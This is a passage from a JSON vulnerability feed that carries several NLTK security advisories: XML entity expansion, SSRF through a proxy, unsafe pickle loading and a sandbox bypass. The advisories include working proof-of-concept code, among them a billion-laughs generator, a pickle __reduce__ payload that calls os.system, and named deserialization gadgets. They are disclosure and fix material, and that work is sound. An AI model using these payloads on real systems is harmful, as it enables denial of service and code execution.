`nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'<!ENTITY e{i} \"{(\"&e%d;\"%(i-1))*10}\">' for i in range(1, levels+1))\n    return f'<!DOCTYPE d [<!ENTITY e0 \"AAAAAAAAAA\">{d}]><d>&e{levels};</d>'\nET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n>>> from nltk.internals import ElementWrapper\n>>> ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a \"PPPP...\">]><d>&a;</d>'\n```\n\n```\nraw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -> REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78681"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78682","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3733","CVE-2026-78682","GHSA-6ww7-3frv-cqxh"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: pathsec SSRF protection can be bypassed when a proxy is configured","details":"### Summary\n\nCurrent NLTK source reopens SSRF in proxied environments. `pathsec.urlopen()` validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.\n\n### Details\n\n- **Vulnerability type:** Server-side request forgery\n- **Affected component:** `nltk.pathsec.urlopen`, `nltk.data.load`, `nltk.downloader.Downloader.index`, `nltk.downloader.Downloader.download`\n- **Affected versions:** Current source `v3.10.0-rc2`; published `3.9.4` was a negative control and did not reproduce.\n- **Patched versions:** Not yet patched\n- **Root cause:** Proxy-handler inheritance disables `_SafeHTTPHandler` and `_SafeHTTPSHandler`, so the validated hostname no longer matches the actual egress destination.\n\nThe hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies `ProxyHandler` instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via `pathsec.urlopen()`, `nltk.data.load()`, `Downloader.index()`, and `Downloader.download()`.\n\n### PoC\n\n**Preconditions**\n- The runtime has an HTTP proxy configured and the caller relies on `pathsec` to keep network fetches SSRF-safe.\n\n**Steps**\n1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload.\n2. Configure a proxy that forwards a validated public URL to that internal loopback service.\n3. Call `pathsec.urlopen()` or `nltk.data.load()` on the public URL and observe the internal response is returned.\n4. Instantiate `Downloader(server_index_url=...)`, call `index()` and `download()`, and observe internal-only content is parsed and installed.\n\n**Minimal reproducible excerpt**\n\n```text\n{'urlopen': 'PROXY_TEXT_SECRET', 'data_load': 'PROXY_TEXT_SECRET', 'downloaded_file': 'INTERNAL_ZIP_SECRET'}\n```\n\n### Impact\n\nConsumers that trust `pathsec` as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.\n\n### Remediation\n\nPreserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across `pathsec.urlopen`, `nltk.data.load`, and downloader fetches with a configured proxy.\n\n### References\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L468-L518\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/data.py#L1247-L1283\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L875-L889\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L1220-L1226\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/pathsec.py#L245-L250\n\n---\n\n## Fix + attack demonstration (verified)\n\n\nNLTK cannot pin the egress through a proxy, so it stops pretending to: under `ENFORCE` a proxied fetch is **refused** rather than performed unvalidated. Operators who trust their proxy opt back in with `NLTK_ALLOW_PROXIED_URLOPEN=1` or `nltk.pathsec.ALLOW_PROXIED_FETCH=True`; under `ENFORCE=False` the refusal degrades to a warning. This closes the **whole class** (environment proxies and explicit `ProxyHandler` alike), because NLTK declines any fetch whose egress it cannot validate.\n\n## Attack demonstration (reproduced; captured output)\nA loopback HTTP server stands in for the internal target; `http_proxy` points at it; NLTK is asked for a **public** IP URL.\n\n**Before the fix** — the internal secret is exfiltrated through the proxy:\n```\nvalidate_network_url(public): PASSED\n*** BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNAL_ONLY_SECRET'\n```\n\n**After the fix** — five scenarios, isolated subprocesses:\n| Scenario | Result |\n|---|---|\n| proxied (env) + ENFORCE | `PermissionError` — **blocked** |\n| proxied + opt-in | returns secret — escape hatch works |\n| explicit `ProxyHandler` (not env) + ENFORCE | `PermissionError` — **blocked** (whole class) |\n| no proxy (direct) | internal IP still refused — pinning intact |\n| proxied + `ENFORCE=False` | returns secret **+ warns** |\n\n## Tests\n`nltk/test/unit/test_pathsec.py`: 64 passed. Added an end-to-end regression (`test_proxied_fetch_does_not_reach_internal_target`) plus `test_env_proxy_fails_closed_under_enforce`; the prior `test_env_proxy_skips_pinning_handlers` (which encoded the vulnerable path) is re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.\n\n## Note\nThe upfront `validate_network_url()` and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-6ww7-3frv-cqxh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78682"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/767333a005a1cd3d82d2029215f2dbe66a5844d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3733.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-ssrf-protection-bypass-via-proxy"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78683","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3734","CVE-2026-78683","GHSA-rhp5-r9x4-f5g2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution","details":"## Summary\n\nThe NLTK library's `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading — it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], '/path/to/malicious_model.pkl')`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution — executing the embedded gadget.\n\n4. Arbitrary code executes with the victim's privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('touch /tmp/nltk_poc_triggered',))\n\nwith open('/tmp/malicious_model.pkl', 'wb') as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)\nparser = TransitionParser('arc-standard')      # or 'arc-eager'\nparser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK ≥ 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78683"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3631"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79657","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3735","CVE-2026-79657","GHSA-x99w-6fgc-pmfw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Allowlisted pickle loaders still permit code execution in current source","details":"### Summary\n\nThe current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.\n\n### Details\n\n- **Vulnerability type:** Remote code execution via unsafe deserialization\n- **Affected component:** `nltk.picklesec.allowlisted_pickle_load`, `nltk.tokenize.punkt.punkt_pickle_load`, `nltk.parse.transitionparser.TransitionParser.parse`\n- **Affected versions:** Current source `v3.10.0-rc2`; published `3.9.4` was not the claim target for this bypass.\n- **Patched versions:** Not yet patched\n- **Root cause:** Module-prefix allowlists include dangerous callables such as `nltk.tokenize.repp.ReppTokenizer._execute` and `numpy.f2py.crackfortran.myeval`.\n\n`punkt_pickle_load()` allowlists both `nltk.tokenize.punkt` and the whole `nltk.tokenize` namespace, which exposes `ReppTokenizer._execute()` and its `subprocess.Popen(...)` sink during unpickling. `TransitionParser.parse()` uses `allowlisted_pickle_load(..., allowed_modules=(\"numpy\", \"scipy\", \"sklearn\"))`, which permits `numpy.f2py.crackfortran.myeval()` and its attacker-controlled `eval(...)` path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.\n\n### PoC\n\n**Preconditions**\n- The application loads an attacker-controlled tokenizer or model artifact through these public loaders.\n\n**Steps**\n1. Create a pickle whose REDUCE callable is `ReppTokenizer._execute` and point its command to a harmless marker-file write.\n2. Pass that payload to `punkt_pickle_load(BytesIO(payload))` and observe the marker file is created during unpickling.\n3. Create a second pickle whose REDUCE callable is `numpy.f2py.crackfortran.myeval` and load it through `TransitionParser.parse()`.\n4. Observe the second marker file is created before `TransitionParser.parse()` later fails on the returned object type.\n\n**Minimal reproducible excerpt**\n\n```text\n{'punkt_marker': 'PUNKT_RCE', 'transitionparser_marker': 'TP_RCE'}\n```\n\n### Impact\n\nAny caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.\n\n### Remediation\n\nReplace broad module-prefix allowlists with exact `(module, qualname)` pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as `nltk.tokenize` or `numpy`, and keep post-load type validation only as a secondary defense.\n\n### Resources\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571\n\n---\n\n## Fix + attack demonstration (verified)\n\n + tightened callers\n`find_class` now, before the allowlists:\n1. **Rejects any dotted `name`** → closes 4489 with zero legit impact.\n2. **Denies dangerous modules** (`os`, `subprocess`, `sys`, `builtins`, `numpy.f2py`, `nltk.tokenize.repp`, …) even under a broad `allowed_modules` — a defense-in-depth **backstop** so a future too-broad allowlist can't silently reopen RCE.\n3. **`builtins` denied wholesale**; safe primitives (`int`, `str`, …) must be named exactly via `allowed_globals`.\n\nCallers tightened: punkt drops the broad `nltk.tokenize` (keeps `nltk.tokenize.punkt` + exact `collections.defaultdict`/`builtins.int`); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.\n\n## Full pickle-sink audit\nEvery deserialization sink in the tree was reviewed: **no raw `pickle.load`** anywhere, and **no** joblib/numpy/torch/dill/yaml/marshal loaders. `data.load` + `wordnet_app` use `RestrictedUnpickler` (blocks all globals — safe); the remaining `pickle_load` sites (`chartparser_app`, `tbl/demo`) load user-selected or self-written files and keep their warning.\n\n## Attack demonstration (captured; fork clone)\n```\n=== EXPLOITS blocked ===\n  4489 sklearn.os.system (dotted)      -> BLOCKED\n  x99w numpy.f2py.crackfortran.myeval  -> BLOCKED\n  x99w nltk.tokenize.repp._execute     -> BLOCKED\n  backstop os.system (os allowlisted)  -> BLOCKED\n  backstop builtins.eval (exact global)-> BLOCKED\n=== LEGIT loads still work ===\n  punkt round-trip via punkt_pickle_load -> OK\n  builtins.int (safe primitive)          -> OK\n```\n\n## Tests\n`test_pickle_allowlist_security.py` — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-x99w-6fgc-pmfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79657"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3735.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-remote-code-execution-via-unsafe-pickle-deserialization"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79674","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3736","CVE-2026-79674","GHSA-3gq4-3j92-5w49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Corpus Reader Sandbox Bypass","details":"## Summary\n\nNLTK corpus-reader constructors can still reach outside-root file and database reads before the `nltk.pathsec` sandbox boundary is enforced.\n\nThe PoC shows the safe path blocked by `pathsec.open`, then `LinThesaurusCorpusReader` and `PanLexLiteCorpusReader` succeeding in the same process.\n\n## Affected Product\n\n- Product: NLTK\n- Asset / component: `nltk.corpus.reader` constructors\n- Version tested: `3.10.2`\n- Deployment / package / tag: commit `474af1f5a94b1b8d53fc2b6defec3a2ce7633b74` / PyPI `nltk`\n- Environment used for verification: Python 3.13.14\n\n## Vulnerability Details\n\n- Vulnerability class: path sandbox bypass / external control of file path\n- Required privileges: none beyond the ability to supply a corpus root path to a consumer call site\n- Entry point: `LinThesaurusCorpusReader(root)` and `PanLexLiteCorpusReader(root)`\n- Trust boundary crossed: NLTK data-root sandbox enforced by `nltk.pathsec`\n- Root affected functions:\n  - [CorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/api.py#L73-L80)\n  - [LinThesaurusCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/lin.py#L37-L43)\n  - [PanLexLiteCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/panlex_lite.py#L45-L46)\n- Measured unsafe effect: outside-root file/database reads still happen with `ENFORCE=True`\n\n## Root Cause\n\n`CorpusReader.__init__()` turns a string root into a `FileSystemPathPointer` without any `pathsec` validation, and these readers then use builtin `open()` or `sqlite3.connect()` directly on derived paths. The constructor path therefore never hits the sandbox guard that `pathsec.open()` enforces.\n\n```python\nif zipfile:\n    root = ZipFilePathPointer(zipfile, zipentry)\nelse:\n    root = FileSystemPathPointer(root)\n\nwith open(path) as lin_file:\n    ...\n\nself._c = sqlite3.connect(os.path.join(root, \"db.sqlite\")).cursor()\n```\n\n## Proof of Concept\n\nSave the script as `hy01_raw_path_poc.py` in the checkout root and run `python hy01_raw_path_poc.py`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for HY-01: corpus-reader sandbox bypass.\n\nThis script proves three facts:\n- pathsec blocks a direct read through the sandboxed file API\n- LinThesaurusCorpusReader still reaches builtin open() on an outside path\n- PanLexLiteCorpusReader still opens an outside sqlite database and loads data\n\"\"\"\n\nfrom __future__ import annotations\n\nimport builtins\nimport pathlib\nimport sqlite3\nimport sys\nimport tempfile\nfrom unittest.mock import patch\n\ntry:\n    import nltk.pathsec as pathsec\n    from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\nexcept ModuleNotFoundError:\n    here = pathlib.Path(__file__).resolve()\n    for base in (here.parent, *here.parents):\n        if (base / \"nltk\").is_dir() and (base / \"setup.py\").exists():\n            sys.path.insert(0, str(base))\n            break\n    else:\n        raise RuntimeError(\n            \"Could not import nltk. Run this script from an NLTK checkout root \"\n            \"or from an environment where the current checkout is installed.\"\n        )\n\n    import nltk.pathsec as pathsec\n    from nltk.corpus.reader.lin import LinThesaurusCorpusReader\n    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader\n\n\ndef main() -> int:\n    pathsec.ENFORCE = True\n\n    with patch.object(pathsec, \"_get_allowed_roots\", lambda: set()):\n        with patch.object(pathsec.os, \"getcwd\", lambda: \"sandbox-disabled\"):\n            with tempfile.TemporaryDirectory() as tmp:\n                tmpdir = pathlib.Path(tmp)\n                outside = tmpdir / \"outside\"\n                outside.mkdir()\n\n                blocked_file = outside / \"blocked.txt\"\n                blocked_file.write_text(\"blocked\", encoding=\"utf-8\")\n\n                control_target = str(blocked_file)\n                try:\n                    with pathsec.open(control_target, \"rb\"):\n                        raise AssertionError(\n                            \"pathsec.open unexpectedly allowed control path\"\n                        )\n                except PermissionError:\n                    print(\"control:pathsec.open=blocked\")\n\n                lin_root = tmpdir / \"lin\"\n                lin_root.mkdir()\n                lin_file = lin_root / \"simN.lsp\"\n                lin_file.write_text(\n                    '(\"business\" (desc 1.0)\\n\\t\"enterprise\"\\t0.9\\n))\\n',\n                    encoding=\"utf-8\",\n                )\n\n                opened = []\n                real_open = builtins.open\n\n                def tracking_open(*args, **kwargs):\n                    opened.append(str(args[0]))\n                    return real_open(*args, **kwargs)\n\n                with patch(\"builtins.open\", tracking_open):\n                    LinThesaurusCorpusReader(str(lin_root))\n\n                if any(p.endswith(\"simN.lsp\") for p in opened):\n                    print(\"lin:outside_root_open=success\")\n                else:\n                    raise AssertionError(\"LinThesaurusCorpusReader did not open data\")\n\n                panlex_root = tmpdir / \"panlex\"\n                panlex_root.mkdir()\n                db_path = panlex_root / \"db.sqlite\"\n                db = sqlite3.connect(db_path)\n                cur = db.cursor()\n                cur.execute(\"create table lv(uid text, lv text, lc text, tt text)\")\n                cur.execute(\"create table dnx(ex int, mn int, uq int, ap int, ui text)\")\n                cur.execute(\"create table ex(ex int, tt text, lv text, uq int)\")\n                cur.execute(\n                    \"insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')\"\n                )\n                db.commit()\n                db.close()\n\n                reader = PanLexLiteCorpusReader(str(panlex_root))\n                result = reader.language_varieties()\n                if result == [(\"u1\", \"English\")]:\n                    print(\"panlex:language_varieties=success\")\n                else:\n                    raise AssertionError(\"PanLexLiteCorpusReader did not load data\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nExpected output:\n\n```\ncontrol:pathsec.open=blocked\nlin:outside_root_open=success\npanlex:language_varieties=success\n```\n## Impact\n\nA caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.\n\n## Severity\n\n- Base Score: 7.5 (High)\n- Severity reasoning:\n  The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.\n\n## Remediation\n\nValidate raw string roots before constructing readers, and route all corpus-root/path handling through `pathsec` or a validated `PathPointer`. Remove direct builtin `open()` and direct `sqlite3.connect(os.path.join(...))` use on constructor-derived 